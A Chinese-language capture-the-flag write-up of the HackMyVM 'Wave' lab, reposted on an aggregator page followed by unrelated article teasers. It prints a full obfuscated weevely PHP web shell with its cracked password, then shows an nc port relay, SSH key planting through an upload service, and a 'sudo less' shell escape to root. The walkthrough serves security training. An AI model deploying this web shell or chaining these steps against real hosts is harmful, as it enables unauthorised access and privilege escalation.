[HackMyVM] 靶场 Wave

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:b7:e8:a6       PCS Systemtechnik GmbH
192.168.56.110  08:00:27:88:eb:be       PCS Systemtechnik GmbH

靶机:192.168.56.110

端口扫描

nmap -p- -A 192.168.56.110
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 07:e9:c8:22:59:a5:00:41:15:fa:26:0f:7d:d3:29:ff (ECDSA)
|_  256 c7:81:8e:06:49:33:8f:1a:88:3b:82:9e:27:f3:72:1e (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/backup
|_http-server-header: nginx/1.22.1

开启了22 80端口 

先看web

四个大字

目录扫描

gobuster dir -u http://192.168.56.110 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt  
/backup               (Status: 301) [Size: 169] [--> http://192.168.56.110/backup/]
/index.html           (Status: 200) [Size: 31]
/index.html           (Status: 200) [Size: 31]
/robots.txt           (Status: 200) [Size: 18]
/robots.txt           (Status: 200) [Size: 18]

备份文件泄露

看了一下内容,只有weevely.bck有用

file看一下什么文件

# file weevely.bck 
weevely.bck: PHP phar archive with SHA1 signature

phar文件

提权phar文件

mv weevely.bck weevely.phar
php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'
┌──(root㉿kali2)-[~/Desktop]
└─# php -d phar.readonly=0 -r '$phar = new Phar("weevely.phar"); $phar->extractTo(".");'          ┌──(root㉿kali2)-[~/Desktop]
└─# cat x
<?php eval('$k="3ddf0d5c";$kh="b6e7a529b6c2";$kf="d598a771749b";$p="afnqDsRcBpVmU71y";function x($t,$k){
$c=strlen($k);$l=strlen($t);$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t[$i]^$k[$j];
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}');               

php代码

这个weevely.phar应该使用weevely生成的马

连接密码是3ddf0d5cb6e7a529b6c2d598a771749b碰撞的结果

连接密码是aaazz

但是文件拓展名还不知道

测试发现拓展名为php7

weevely连接拿到www-data权限

weevely http://192.168.56.110/weevely.php7 aaazz[+] weevely 4.0.1[+] Target:     192.168.56.110
[+] Session:    /root/.weevely/sessions/192.168.56.110/weevely_0.session[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.weevely> whoami
www-data
www-data@wave:/var/www/html $

翻了一圈没有什么东西

看网段

ss -lntup
www-data@wave:/ $ ss -lntup
Netid State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess                        
udp   UNCONN 0      0            0.0.0.0:68        0.0.0.0:*                                  
tcp   LISTEN 0      511          0.0.0.0:80        0.0.0.0:*    users:(("nginx",pid=463,fd=5))
tcp   LISTEN 0      128          0.0.0.0:22        0.0.0.0:*                                  
tcp   LISTEN 0      1024       127.0.0.1:3923      0.0.0.0:*                                  
tcp   LISTEN 0      511             [::]:80           [::]:*    users:(("nginx",pid=463,fd=6))
tcp   LISTEN 0      128             [::]:22           [::]:*                               

在3923端口有个服务,并且只能127.0.0.1访问

转发一下端口,这里不能用ssh端口转发,因为没有.ssh文件

这里用nc转发到8080端口

nc -l -k -p 8080 -c "nc 127.0.0.1 3923"

拿到user flag

可以新建文件夹,也可以上传文件尝试写入ssh私钥

把我kali 里面的id_rsa和authorized_keys(原名是id_rsa_pub)传上去

ssh连接两个用户名 angie 和carla发现angie可以连接

# ssh -i /root/.ssh/id_rsa angie@192.168.56.110Enter passphrase for key '/root/.ssh/id_rsa': 
Linux wave 6.1.0-11-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-4 (2023-08-08) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep  5 11:14:50 2023 from 192.168.0.100
angie@wave:~$ 

sudo -l

angie@wave:~$ sudo -l
Matching Defaults entries for angie on wave:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_ptyUser angie may run the following commands on wave:(ALL) NOPASSWD: /usr/bin/less -F /opt/secret.txt

-F 选项:less 显示的内容不足以填充整个屏幕时,-F 选项会使 less 以普通模式运行,不会将短文件直接输出到终端,而是以普通文件查看方式启动,这样您就能够使用 less 的所有功能。

所以窗口要非常小让两行内容显示不了才能在底端执行命令输入!bash

直接拿到root权限

root@wave:~# cd /root
root@wave:~# ls                                                                                                                                                                                                                                                                                    
root.txt                                                                                                                                                                                                                                                                                           
root@wave:~# cat r*                                                                                                                                                                                                                                                                                
HMVNVJrewoiu47rewFDSR                                                                                                                                                                                                                                                                              
root@wave:~# 

总结:1.备份文件泄露,weevely马连接

        2.nc端口转发

        3.ssh公私钥写入

        4.less -F提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/717590.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenCV:开源计算机视觉的魔力之门

在当今这个信息爆炸的时代,图像和视频已经成为我们获取和传递信息的主要方式之一。从社交媒体上的照片分享,到安防监控、自动驾驶等领域的图像识别与处理,计算机视觉技术正日益改变着我们的生活。而在这场技术革命中,OpenCV(Open Source Computer Vision Library)这一开源…

Java JDBC JDBC事务管理 JDBC连接池(阿里巴巴Druid连接池、C3P0连接池) JDBC工具类

Java数据库连接 Java DataBase Connectivity。JDBC 规范定义接口&#xff0c;具体的实现由各大数据库厂商来实现。 JDBC可让Java通过程序操作关系型数据库&#xff0c;JDBC基于驱动程序实现与数据库的连接与操作。 JDBC 是 Java 访问数据库的标准规范&#xff0c;真正怎么操作…

C++ 滑动窗口

例1 209. 长度最小的子数组 ①窗口大小不固定 ②求最小长度 -> ret INT_MAX ③数组内的值都大于0&#xff0c; 符合单调性&#xff08;sum nums[right] -> sum增大&#xff09; while里面符合条件&#xff0c;在里面更改ret 参考代码 class Solution { public:i…

redis常见面试问题合集

什么是Redis&#xff1f; Redis是一个开源的、基于内存的数据结构存储系统&#xff0c;它可以用作数据库、缓存和消息队列。Redis支持多种数据类型&#xff0c;包括字符串、列表、集合、有序集合和哈希表。 Redis支持的数据类型有哪些&#xff1f; Redis支持五种主要的数据类…

【LeetCode打卡】Day25|216.组合总和III、17.电话号码的字母组合

学习目标&#xff1a; 216.组合总和III 17.电话号码的字母组合 学习内容&#xff1a; 216.组合总和III 题目链接 &&文章讲解 找出所有相加之和为 n 的 k 个数的组合&#xff0c;且满足下列条件&#xff1a; 只使用数字1到9每个数字 最多使用一次 返回所有可能的有效…

集成测试之我的初步学习与总结

基本概念 将软件集成起来后进行测试。 集成测试又叫子系统测试、组装测试、部件测试等。集成测试主要是针对软件高层设计进行测试&#xff0c;一般来说是以模块和子系统为单位进行测试。 集成测试包含的层次 模块内的集成&#xff0c;主要是测试模块内各个接口间的交互集成…

我是如何系统自学python的,值得一看!

当然&#xff0c;我很乐意帮助你规划一个系统的Python自学计划。以下是我为你准备的一个简洁、高效、实战的Python自学指南&#xff1a; 第一步&#xff1a;基础语法和数据结构 学习Python的基本语法&#xff0c;包括变量、数据类型、运算符、条件语句、循环语句等。理解Pyth…

day_12二叉树理论基础以及遍历

第六章 二叉树part01 今日内容&#xff1a; 理论基础 递归遍历 迭代遍历 统一迭代 详细布置 题目分类 二叉树的种类 二叉树有两种主要的形式&#xff1a;满二叉树和完全二叉树。 满二叉树 满二叉树&#xff1a;如果一棵二叉树只有度为0的结点和度为2的结点&#xff0c;并…

java ThreadPoolExecutor 线程池

优点 ThreadPoolExecutor 提供了强大的灵活性和自定义参数的能力&#xff0c;可以根据实际需求来灵活配置线程池的行为。 位置 java.util.concurrent 包下 构造函数 public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit,…

进程与线程:通过实际生活来解析计算机的基本运作单位

进程与线程 进程与线程&#xff1a;详细解析计算机的基本运作单位1. 进程&#xff1a;独立的执行环境1.1 进程的特点&#xff1a; 2. 线程&#xff1a;轻量级的执行单元2.1 线程的特点&#xff1a; 3. 区别和联系4. 表格 进程与线程&#xff1a;详细解析计算机的基本运作单位 在…

Unity铰链四杆机构设计和运动仿真

一、效果图 设定好各边长度和转速后&#xff0c;点击【设置并启动】&#xff0c;自动生成一个机构模型&#xff0c;并按照原理进行运转 二、铰链四杆机构介绍 机架&#xff1a;A和D是固定位置&#xff0c;叫做机架。 曲柄&#xff1a;B点绕A点旋转&#xff0c;构成曲柄。 连…

990-22产品经理:The benefits of business analytics 业务分析的优势

Turning data into pound isn’t just something for big corporations now. Thanks to relatively inexpensive software and easy-to-use, drag-and-drop tools, pulling data and analysing it – with the goal of growing your business – has never been more uncomplic…

英语学习资源分享

键盘侠的单词记忆软件&#xff1a; Qwerty Learner — 为键盘工作者设计的单词与肌肉记忆锻炼软件https://qwerty.kaiyi.cool/ 经济学人、纽约客等英语外刊杂志下载&#xff1a;若github无法进入可以试试下载VPN插件&#xff08;在浏览器中安装免费的VPN插件&#xff0c;个人推…

重拾C++之菜鸟刷算法第4篇---哈希表

一些理论知识 哈希函数是一种映射关系&#xff0c;根据关键词key&#xff0c;经过一定函数关系得到元素的位置。 常见的哈希函数构造方法 直接定址法 除留余数法 叠加法 随机数法 哈希冲突 不同关键字通过相同哈希函数计算出相同的哈希地址&#xff0c;该种现象称为哈希…

视频汇聚/存储/压缩/诊断平台EasyCVR视频联网整合方案应用特点

随着科技的不断发展&#xff0c;监控视频在各个领域的应用越来越广泛。为了更好地管理和利用这些视频资源&#xff0c;视频联网与整合的需求也越来越多。通过视频联网技术将不同地理位置或不同设备的视频资源进行整合&#xff0c;实现实时共享和集中管理。视频联网整合方案的应…

6、云原生安全之falco的规则解读(部分)(下)

文章目录 3、规则解析记录3.21、检测是否有非特权用户成功执行userfaultfd系统调用3.22、监控容器内通过curl/wget的下载行为3.23、检测容器内修改release_agent文件的场景(无论修改成功与否)3.24、检测Java进程通过网络加载class类文件的行为,该规则用于检测log4j的应急3.2…

Linux运维_Bash脚本_编译安装GNU-Tools

Linux运维_Bash脚本_编译安装GNU-Tools Bash (Bourne Again Shell) 是一个解释器&#xff0c;负责处理 Unix 系统命令行上的命令。它是由 Brian Fox 编写的免费软件&#xff0c;并于 1989 年发布的免费软件&#xff0c;作为 Sh (Bourne Shell) 的替代品。 您可以在 Linux 和 …

2024最新算法:鹦鹉优化算法(Parrot optimizer,PO)求解23个基准函数

一、鹦鹉优化算法 鹦鹉优化算法&#xff08;Parrot optimizer&#xff0c;PO&#xff09;由Junbo Lian等人于2024年提出的一种高效的元启发式算法&#xff0c;该算法从驯养的鹦鹉中观察到的觅食、停留、交流和对陌生人行为的恐惧中汲取灵感。这些行为被封装在四个不同的公式中…

C++_红黑树

目录 1、红黑树的规则 2、红黑树节点的定义 3、红黑树插入节点的调整操作 3.1 情况一 3.2 情况二 3.3 情况三 4、红黑树的实现 结语 前言&#xff1a; 在C中&#xff0c;红黑树是二叉搜索树的另一种优化版本&#xff0c;他与AVL树的区别在于保持树的平衡方式不同&…

【Mysql】Navicat数据库勿删了mysql.infoschema@localhost,导致打不开数据库,如何修改

运行报错如下&#xff1a; 1449 . The user specified as a definer (mysql.infoschemaocalhost) does not exist该方法不需要重启mysql&#xff0c;或者重装&#xff1b;仅需要恢复删除的mysql.infoschemalocalhost用户 一、登录建立用户 mysql -uroot -pxxxxxx密码二、建立…